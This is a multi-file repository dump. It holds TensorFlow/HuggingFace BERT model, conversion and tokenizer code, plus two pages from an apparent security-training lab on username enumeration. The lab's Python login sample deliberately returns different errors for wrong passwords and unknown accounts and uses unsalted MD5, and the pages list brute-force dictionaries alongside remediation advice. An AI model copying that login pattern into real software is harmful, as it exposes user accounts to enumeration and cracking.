end_logits = tf.squeeze(input=end_logits, axis=-1)
loss = None
if start_positions is not None and end_positions is not None:
labels = {"start_position": start_positions}
labels["end_position"] = end_positions
loss = self.hf_compute_loss(labels=labels, logits=(start_logits, end_logits))
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TFQuestionAnsweringModelOutput(
loss=loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output: TFQuestionAnsweringModelOutput) -> TFQuestionAnsweringModelOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFQuestionAnsweringModelOutput(
start_logits=output.start_logits, end_logits=output.end_logits, hidden_states=hs, attentions=attns
)
|
2740908911/Pilot-Web | 10,542 | pilot-client/pages/bruteforce/assist/sCode-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class='card'><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><span><span></span>x</span></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">Login</span>():</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 从请求中获取用户名和密码</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">username</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">form</span>[<span class="cm-string">'username'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">password</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">form</span>[<span class="cm-string">'password'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 在数据库中查询用户名和密码是否匹配</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">user</span> <span class="cm-operator">=</span> <span class="cm-variable">query_db</span>(<span class="cm-string">"SELECT USERNAME FROM USER WHERE ((USERNAME = %s OR PHONE = %s) AND PASSWORD = %s)"</span>, (<span class="cm-variable">username</span>, <span class="cm-variable">username</span>, <span class="cm-variable">hashlib</span>.<span class="cm-property">md5</span>(<span class="cm-variable">password</span>.<span class="cm-property">encode</span>(<span class="cm-string">"utf-8"</span>)).<span class="cm-property">hexdigest</span>()))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 如果查询结果存在</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">user</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 调用回调函数,并传入用户名参数</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">update_callback</span>(<span class="cm-variable">responses</span>.<span class="cm-property">callback_public_loginsucc</span>, {<span class="cm-string">'username'</span>: <span class="cm-variable">user</span>[<span class="cm-number">0</span>][<span class="cm-string">"USERNAME"</span>]})</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 查询数据库中是否存在该用户名或手机号</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">check_name</span> <span class="cm-operator">=</span> <span class="cm-variable">query_db</span>(<span class="cm-string">"SELECT USERNAME FROM USER WHERE (USERNAME = %s OR PHONE = %s)"</span>, (<span class="cm-variable">username</span>, <span class="cm-variable">username</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 如果查询结果存在</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">check_name</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 返回用户名或手机号错误的回调</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">callback_bf_username_err1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 返回用户名或手机号错误的回调</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">callback_bf_username_err2</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment"># 响应包 </span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">callback_bf_username_err1</span> <span class="cm-operator">=</span> <span class="cm-variable">json</span>.<span class="cm-property">dumps</span>({</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">"status"</span>: <span class="cm-string">"401"</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">"msg"</span>: <span class="cm-string">"密码错误"</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }, <span class="cm-variable">ensure_ascii</span><span class="cm-operator">=</span><span class="cm-keyword">False</span>), <span class="cm-number">200</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">callback_bf_username_err2</span> <span class="cm-operator">=</span> <span class="cm-variable">json</span>.<span class="cm-property">dumps</span>({</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">"status"</span>: <span class="cm-string">"402"</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">"msg"</span>: <span class="cm-string">"账号不存在,请注册"</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }, <span class="cm-variable">ensure_ascii</span><span class="cm-operator">=</span><span class="cm-keyword">False</span>), <span class="cm-number">200</span></span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 944px;"></div><div class="CodeMirror-gutters" style="display: none; height: 944px;"></div></div></div></pre></div></div>
</body>
</html> |
2740908911/Pilot-Web | 2,740 | pilot-client/pages/bruteforce/assist/sum-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class=''><ul><li><p><strong><span>用户名枚举介绍</span></strong></p><p><span>在应用系统登录的过程中,当输入错误的用户名信息时,应用程序将反馈相应的诸如“用户不存在”的错误提示,攻击者可通过该提示为依据对用户名进行枚举,猜解出已存在于应用系统的用户名信息,最终攻击者再对已有用户的密码进一步猜解,从而降低暴力破解的成本。</span></p></li></ul><p></br></p><ul><li><p><strong><span>用户名枚举原理</span></strong></p><ol start='' ><li><p><span>根据返回信息的不同可判断枚举出系统存在的用户名信息。</span></p></li><li><p><span>根据明显的提示信息直接判断用户名是否存在。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>用户名枚举测试点</span></strong></p><p><span>登录处、密码找回处、账号注册、账户信息相关API接口等。</span></p></li></ul><p></br></p><ul><li><p><strong><span>常见用户名字典</span></strong></p><ol start='' ><li><p><a href='https://github.com/rootphantomer/Blasting_dictionary' target="_blank"><span>Blasting_dictionary</span></a></p></li><li><p><a href='https://github.com/TheKingOfDuck/fuzzDicts' target="_blank"><span>fuzzDicts</span></a></p></li><li><p><a href='https://github.com/gh0stkey/Web-Fuzzing-Box' target="_blank"><span>Web-Fuzzing-Box</span></a></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>漏洞延伸</span></strong></p><ol start='' ><li><p><span>服务组件中的用户名枚举:</span><a href='https://blog.csdn.net/qq_42947816/article/details/122781478' target="_blank"><span>CSDN-OpenSSH用户名枚举漏洞</span></a></p></li><li><p><span>域内用户名枚举:</span><a href='https://zhuanlan.zhihu.com/p/473893636?utm_id=0' target="_blank"><span>知乎域渗透-用户名枚举</span></a></p></li><li><p><span>Burpsuite爆破模块的使用:</span><a href='https://blog.csdn.net/weixin_49349476/article/details/130393732' target="_blank"><span>CSDN-Burp suite-intruder模块</span></a></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>漏洞修复</span></strong></p><ol start='' ><li><p><span>对接口登录页面的判断回显提示信息修改为一致:账号或密码错误(模糊提示)。</span></p></li><li><p><span>增加安全的验证码机制,避免被探测工具批量枚举用户名。</span></p></li><li><p><span>对短时间内大量请求的IP进行封禁策略。</span></p></li><li><p><span>对大量的登录失败请求账户进行短时间锁定。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>推荐学习文章</span></strong></p><ol start='' ><li><p><a href='https://blog.csdn.net/weixin_43571641/article/details/128391201' target="_blank"><span>CSDN-用户名枚举漏洞</span></a></p></li><li><p><a href='https://blog.csdn.net/weixin_39934520/article/details/107499725' target="_blank"><span>CSDN-浅谈“用户名枚举”</span></a></p></li><li><p><a href='https://www.cnblogs.com/jasy/p/12708653.html' target="_blank"><span>burpsuite Intruder功能枚举用户名和口令 </span></a></p></li></ol></li></ul></div></div>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 7,606 | src/transformers/models/bert/convert_bert_token_dropping_original_tf2_checkpoint_to_pytorch.py | # Copyright 2022 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
This script converts a lm-head checkpoint from the "Token Dropping" implementation into a PyTorch-compatible BERT
model. The official implementation of "Token Dropping" can be found in the TensorFlow Models repository:
https://github.com/tensorflow/models/tree/master/official/projects/token_dropping
"""
import argparse
import tensorflow as tf
import torch
from transformers import BertConfig, BertForMaskedLM
from transformers.models.bert.modeling_bert import (
BertIntermediate,
BertLayer,
BertOutput,
BertPooler,
BertSelfAttention,
BertSelfOutput,
)
from transformers.utils import logging
logging.set_verbosity_info()
def convert_checkpoint_to_pytorch(tf_checkpoint_path: str, config_path: str, pytorch_dump_path: str):
def get_masked_lm_array(name: str):
full_name = f"masked_lm/{name}/.ATTRIBUTES/VARIABLE_VALUE"
array = tf.train.load_variable(tf_checkpoint_path, full_name)
if "kernel" in name:
array = array.transpose()
return torch.from_numpy(array)
def get_encoder_array(name: str):
full_name = f"encoder/{name}/.ATTRIBUTES/VARIABLE_VALUE"
array = tf.train.load_variable(tf_checkpoint_path, full_name)
if "kernel" in name:
array = array.transpose()
return torch.from_numpy(array)
def get_encoder_layer_array(layer_index: int, name: str):
full_name = f"encoder/_transformer_layers/{layer_index}/{name}/.ATTRIBUTES/VARIABLE_VALUE"
array = tf.train.load_variable(tf_checkpoint_path, full_name)
if "kernel" in name:
array = array.transpose()
return torch.from_numpy(array)
def get_encoder_attention_layer_array(layer_index: int, name: str, orginal_shape):
full_name = f"encoder/_transformer_layers/{layer_index}/_attention_layer/{name}/.ATTRIBUTES/VARIABLE_VALUE"
array = tf.train.load_variable(tf_checkpoint_path, full_name)
array = array.reshape(orginal_shape)
if "kernel" in name:
array = array.transpose()
return torch.from_numpy(array)
print(f"Loading model based on config from {config_path}...")
config = BertConfig.from_json_file(config_path)
model = BertForMaskedLM(config)
# Layers
for layer_index in range(0, config.num_hidden_layers):
layer: BertLayer = model.bert.encoder.layer[layer_index]
# Self-attention
self_attn: BertSelfAttention = layer.attention.self
self_attn.query.weight.data = get_encoder_attention_layer_array(
layer_index, "_query_dense/kernel", self_attn.query.weight.data.shape
)
self_attn.query.bias.data = get_encoder_attention_layer_array(
layer_index, "_query_dense/bias", self_attn.query.bias.data.shape
)
self_attn.key.weight.data = get_encoder_attention_layer_array(
layer_index, "_key_dense/kernel", self_attn.key.weight.data.shape
)
self_attn.key.bias.data = get_encoder_attention_layer_array(
layer_index, "_key_dense/bias", self_attn.key.bias.data.shape
)
self_attn.value.weight.data = get_encoder_attention_layer_array(
layer_index, "_value_dense/kernel", self_attn.value.weight.data.shape
)
self_attn.value.bias.data = get_encoder_attention_layer_array(
layer_index, "_value_dense/bias", self_attn.value.bias.data.shape
)
# Self-attention Output
self_output: BertSelfOutput = layer.attention.output
self_output.dense.weight.data = get_encoder_attention_layer_array(
layer_index, "_output_dense/kernel", self_output.dense.weight.data.shape
)
self_output.dense.bias.data = get_encoder_attention_layer_array(
layer_index, "_output_dense/bias", self_output.dense.bias.data.shape
)
self_output.LayerNorm.weight.data = get_encoder_layer_array(layer_index, "_attention_layer_norm/gamma")
self_output.LayerNorm.bias.data = get_encoder_layer_array(layer_index, "_attention_layer_norm/beta")
# Intermediate
intermediate: BertIntermediate = layer.intermediate
intermediate.dense.weight.data = get_encoder_layer_array(layer_index, "_intermediate_dense/kernel")
intermediate.dense.bias.data = get_encoder_layer_array(layer_index, "_intermediate_dense/bias")
# Output
bert_output: BertOutput = layer.output
bert_output.dense.weight.data = get_encoder_layer_array(layer_index, "_output_dense/kernel")
bert_output.dense.bias.data = get_encoder_layer_array(layer_index, "_output_dense/bias")
bert_output.LayerNorm.weight.data = get_encoder_layer_array(layer_index, "_output_layer_norm/gamma")
bert_output.LayerNorm.bias.data = get_encoder_layer_array(layer_index, "_output_layer_norm/beta")
# Embeddings
model.bert.embeddings.position_embeddings.weight.data = get_encoder_array("_position_embedding_layer/embeddings")
model.bert.embeddings.token_type_embeddings.weight.data = get_encoder_array("_type_embedding_layer/embeddings")
model.bert.embeddings.LayerNorm.weight.data = get_encoder_array("_embedding_norm_layer/gamma")
model.bert.embeddings.LayerNorm.bias.data = get_encoder_array("_embedding_norm_layer/beta")
# LM Head
lm_head = model.cls.predictions.transform
lm_head.dense.weight.data = get_masked_lm_array("dense/kernel")
lm_head.dense.bias.data = get_masked_lm_array("dense/bias")
lm_head.LayerNorm.weight.data = get_masked_lm_array("layer_norm/gamma")
lm_head.LayerNorm.bias.data = get_masked_lm_array("layer_norm/beta")
model.bert.embeddings.word_embeddings.weight.data = get_masked_lm_array("embedding_table")
# Pooling
model.bert.pooler = BertPooler(config=config)
model.bert.pooler.dense.weight.data: BertPooler = get_encoder_array("_pooler_layer/kernel")
model.bert.pooler.dense.bias.data: BertPooler = get_encoder_array("_pooler_layer/bias")
# Export final model
model.save_pretrained(pytorch_dump_path)
# Integration test - should load without any errors ;)
new_model = BertForMaskedLM.from_pretrained(pytorch_dump_path)
print(new_model.eval())
print("Model conversion was done sucessfully!")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"--tf_checkpoint_path", type=str, required=True, help="Path to the TensorFlow Token Dropping checkpoint path."
)
parser.add_argument(
"--bert_config_file",
type=str,
required=True,
help="The config json file corresponding to the BERT model. This specifies the model architecture.",
)
parser.add_argument(
"--pytorch_dump_path",
type=str,
required=True,
help="Path to the output PyTorch model.",
)
args = parser.parse_args()
convert_checkpoint_to_pytorch(args.tf_checkpoint_path, args.bert_config_file, args.pytorch_dump_path)
|
27182812/ChatGLM-LLaMA-chinese-insturct | 14,871 | src/transformers/models/bert/tokenization_bert_fast.py | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Fast Tokenization classes for Bert."""
import json
from typing import List, Optional, Tuple
from tokenizers import normalizers
from ...tokenization_utils_fast import PreTrainedTokenizerFast
from ...utils import logging
from .tokenization_bert import BertTokenizer
logger = logging.get_logger(__name__)
VOCAB_FILES_NAMES = {"vocab_file": "vocab.txt", "tokenizer_file": "tokenizer.json"}
PRETRAINED_VOCAB_FILES_MAP = {
"vocab_file": {
"bert-base-uncased": "https://huggingface.co/bert-base-uncased/resolve/main/vocab.txt",
"bert-large-uncased": "https://huggingface.co/bert-large-uncased/resolve/main/vocab.txt",
"bert-base-cased": "https://huggingface.co/bert-base-cased/resolve/main/vocab.txt",
"bert-large-cased": "https://huggingface.co/bert-large-cased/resolve/main/vocab.txt",
"bert-base-multilingual-uncased": (
"https://huggingface.co/bert-base-multilingual-uncased/resolve/main/vocab.txt"
),
"bert-base-multilingual-cased": "https://huggingface.co/bert-base-multilingual-cased/resolve/main/vocab.txt",
"bert-base-chinese": "https://huggingface.co/bert-base-chinese/resolve/main/vocab.txt",
"bert-base-german-cased": "https://huggingface.co/bert-base-german-cased/resolve/main/vocab.txt",
"bert-large-uncased-whole-word-masking": (
"https://huggingface.co/bert-large-uncased-whole-word-masking/resolve/main/vocab.txt"
),
"bert-large-cased-whole-word-masking": (
"https://huggingface.co/bert-large-cased-whole-word-masking/resolve/main/vocab.txt"
),
"bert-large-uncased-whole-word-masking-finetuned-squad": (
"https://huggingface.co/bert-large-uncased-whole-word-masking-finetuned-squad/resolve/main/vocab.txt"
),
"bert-large-cased-whole-word-masking-finetuned-squad": (
"https://huggingface.co/bert-large-cased-whole-word-masking-finetuned-squad/resolve/main/vocab.txt"
),
"bert-base-cased-finetuned-mrpc": (
"https://huggingface.co/bert-base-cased-finetuned-mrpc/resolve/main/vocab.txt"
),
"bert-base-german-dbmdz-cased": "https://huggingface.co/bert-base-german-dbmdz-cased/resolve/main/vocab.txt",
"bert-base-german-dbmdz-uncased": (
"https://huggingface.co/bert-base-german-dbmdz-uncased/resolve/main/vocab.txt"
),
"TurkuNLP/bert-base-finnish-cased-v1": (
"https://huggingface.co/TurkuNLP/bert-base-finnish-cased-v1/resolve/main/vocab.txt"
),
"TurkuNLP/bert-base-finnish-uncased-v1": (
"https://huggingface.co/TurkuNLP/bert-base-finnish-uncased-v1/resolve/main/vocab.txt"
),
"wietsedv/bert-base-dutch-cased": (
"https://huggingface.co/wietsedv/bert-base-dutch-cased/resolve/main/vocab.txt"
),
},
"tokenizer_file": {
"bert-base-uncased": "https://huggingface.co/bert-base-uncased/resolve/main/tokenizer.json",
"bert-large-uncased": "https://huggingface.co/bert-large-uncased/resolve/main/tokenizer.json",
"bert-base-cased": "https://huggingface.co/bert-base-cased/resolve/main/tokenizer.json",
"bert-large-cased": "https://huggingface.co/bert-large-cased/resolve/main/tokenizer.json",
"bert-base-multilingual-uncased": (
"https://huggingface.co/bert-base-multilingual-uncased/resolve/main/tokenizer.json"
),
"bert-base-multilingual-cased": (
"https://huggingface.co/bert-base-multilingual-cased/resolve/main/tokenizer.json"
),
"bert-base-chinese": "https://huggingface.co/bert-base-chinese/resolve/main/tokenizer.json",
"bert-base-german-cased": "https://huggingface.co/bert-base-german-cased/resolve/main/tokenizer.json",
"bert-large-uncased-whole-word-masking": (
"https://huggingface.co/bert-large-uncased-whole-word-masking/resolve/main/tokenizer.json"
),
"bert-large-cased-whole-word-masking": (
"https://huggingface.co/bert-large-cased-whole-word-masking/resolve/main/tokenizer.json"
),
"bert-large-uncased-whole-word-masking-finetuned-squad": (
"https://huggingface.co/bert-large-uncased-whole-word-masking-finetuned-squad/resolve/main/tokenizer.json"
),
"bert-large-cased-whole-word-masking-finetuned-squad": (
"https://huggingface.co/bert-large-cased-whole-word-masking-finetuned-squad/resolve/main/tokenizer.json"
),
"bert-base-cased-finetuned-mrpc": (
"https://huggingface.co/bert-base-cased-finetuned-mrpc/resolve/main/tokenizer.json"
),
"bert-base-german-dbmdz-cased": (
"https://huggingface.co/bert-base-german-dbmdz-cased/resolve/main/tokenizer.json"
),
"bert-base-german-dbmdz-uncased": (
"https://huggingface.co/bert-base-german-dbmdz-uncased/resolve/main/tokenizer.json"
),
"TurkuNLP/bert-base-finnish-cased-v1": (
"https://huggingface.co/TurkuNLP/bert-base-finnish-cased-v1/resolve/main/tokenizer.json"
),
"TurkuNLP/bert-base-finnish-uncased-v1": (
"https://huggingface.co/TurkuNLP/bert-base-finnish-uncased-v1/resolve/main/tokenizer.json"
),
"wietsedv/bert-base-dutch-cased": (
"https://huggingface.co/wietsedv/bert-base-dutch-cased/resolve/main/tokenizer.json"
),
},
}
PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {
"bert-base-uncased": 512,
"bert-large-uncased": 512,
"bert-base-cased": 512,
"bert-large-cased": 512,
"bert-base-multilingual-uncased": 512,
"bert-base-multilingual-cased": 512,
"bert-base-chinese": 512,
"bert-base-german-cased": 512,
"bert-large-uncased-whole-word-masking": 512,
"bert-large-cased-whole-word-masking": 512,
"bert-large-uncased-whole-word-masking-finetuned-squad": 512,
"bert-large-cased-whole-word-masking-finetuned-squad": 512,
"bert-base-cased-finetuned-mrpc": 512,
"bert-base-german-dbmdz-cased": 512,
"bert-base-german-dbmdz-uncased": 512,
"TurkuNLP/bert-base-finnish-cased-v1": 512,
"TurkuNLP/bert-base-finnish-uncased-v1": 512,
"wietsedv/bert-base-dutch-cased": 512,
}
PRETRAINED_INIT_CONFIGURATION = {
"bert-base-uncased": {"do_lower_case": True},
"bert-large-uncased": {"do_lower_case": True},
"bert-base-cased": {"do_lower_case": False},
"bert-large-cased": {"do_lower_case": False},
"bert-base-multilingual-uncased": {"do_lower_case": True},
"bert-base-multilingual-cased": {"do_lower_case": False},
"bert-base-chinese": {"do_lower_case": False},
"bert-base-german-cased": {"do_lower_case": False},
"bert-large-uncased-whole-word-masking": {"do_lower_case": True},
"bert-large-cased-whole-word-masking": {"do_lower_case": False},
"bert-large-uncased-whole-word-masking-finetuned-squad": {"do_lower_case": True},
"bert-large-cased-whole-word-masking-finetuned-squad": {"do_lower_case": False},
"bert-base-cased-finetuned-mrpc": {"do_lower_case": False},
"bert-base-german-dbmdz-cased": {"do_lower_case": False},
"bert-base-german-dbmdz-uncased": {"do_lower_case": True},
"TurkuNLP/bert-base-finnish-cased-v1": {"do_lower_case": False},
"TurkuNLP/bert-base-finnish-uncased-v1": {"do_lower_case": True},
"wietsedv/bert-base-dutch-cased": {"do_lower_case": False},
}
class BertTokenizerFast(PreTrainedTokenizerFast):
r"""
Construct a "fast" BERT tokenizer (backed by HuggingFace's *tokenizers* library). Based on WordPiece.
This tokenizer inherits from [`PreTrainedTokenizerFast`] which contains most of the main methods. Users should
refer to this superclass for more information regarding those methods.
Args:
vocab_file (`str`):
File containing the vocabulary.
do_lower_case (`bool`, *optional*, defaults to `True`):
Whether or not to lowercase the input when tokenizing.
unk_token (`str`, *optional*, defaults to `"[UNK]"`):
The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this
token instead.
sep_token (`str`, *optional*, defaults to `"[SEP]"`):
The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for
sequence classification or for a text and a question for question answering. It is also used as the last
token of a sequence built with special tokens.
pad_token (`str`, *optional*, defaults to `"[PAD]"`):
The token used for padding, for example when batching sequences of different lengths.
cls_token (`str`, *optional*, defaults to `"[CLS]"`):
The classifier token which is used when doing sequence classification (classification of the whole sequence
instead of per-token classification). It is the first token of the sequence when built with special tokens.
mask_token (`str`, *optional*, defaults to `"[MASK]"`):
The token used for masking values. This is the token used when training this model with masked language
modeling. This is the token which the model will try to predict.
clean_text (`bool`, *optional*, defaults to `True`):
Whether or not to clean the text before tokenization by removing any control characters and replacing all
whitespaces by the classic one.
tokenize_chinese_chars (`bool`, *optional*, defaults to `True`):
Whether or not to tokenize Chinese characters. This should likely be deactivated for Japanese (see [this
issue](https://github.com/huggingface/transformers/issues/328)).
strip_accents (`bool`, *optional*):
Whether or not to strip all accents. If this option is not specified, then it will be determined by the
value for `lowercase` (as in the original BERT).
wordpieces_prefix (`str`, *optional*, defaults to `"##"`):
The prefix for subwords.
"""
vocab_files_names = VOCAB_FILES_NAMES
pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP
pretrained_init_configuration = PRETRAINED_INIT_CONFIGURATION
max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES
slow_tokenizer_class = BertTokenizer
def __init__(
self,
vocab_file=None,
tokenizer_file=None,
do_lower_case=True,
unk_token="[UNK]",
sep_token="[SEP]",
pad_token="[PAD]",
cls_token="[CLS]",
mask_token="[MASK]",
tokenize_chinese_chars=True,
strip_accents=None,
**kwargs,
):
super().__init__(
vocab_file,
tokenizer_file=tokenizer_file,
do_lower_case=do_lower_case,
unk_token=unk_token,
sep_token=sep_token,
pad_token=pad_token,
cls_token=cls_token,
mask_token=mask_token,
tokenize_chinese_chars=tokenize_chinese_chars,
strip_accents=strip_accents,
**kwargs,
)
normalizer_state = json.loads(self.backend_tokenizer.normalizer.__getstate__())
if (
normalizer_state.get("lowercase", do_lower_case) != do_lower_case
or normalizer_state.get("strip_accents", strip_accents) != strip_accents
or normalizer_state.get("handle_chinese_chars", tokenize_chinese_chars) != tokenize_chinese_chars
):
normalizer_class = getattr(normalizers, normalizer_state.pop("type"))
normalizer_state["lowercase"] = do_lower_case
normalizer_state["strip_accents"] = strip_accents
normalizer_state["handle_chinese_chars"] = tokenize_chinese_chars
self.backend_tokenizer.normalizer = normalizer_class(**normalizer_state)
self.do_lower_case = do_lower_case
def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):
"""
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
adding special tokens. A BERT sequence has the following format:
- single sequence: `[CLS] X [SEP]`
- pair of sequences: `[CLS] A [SEP] B [SEP]`
Args:
token_ids_0 (`List[int]`):
List of IDs to which the special tokens will be added.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of [input IDs](../glossary#input-ids) with the appropriate special tokens.
"""
output = [self.cls_token_id] + token_ids_0 + [self.sep_token_id]
if token_ids_1:
output += token_ids_1 + [self.sep_token_id]
return output
def create_token_type_ids_from_sequences(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Create a mask from the two sequences passed to be used in a sequence-pair classification task. A BERT sequence
pair mask has the following format:
```
0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1
| first sequence | second sequence |
```
If `token_ids_1` is `None`, this method only returns the first portion of the mask (0s).
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
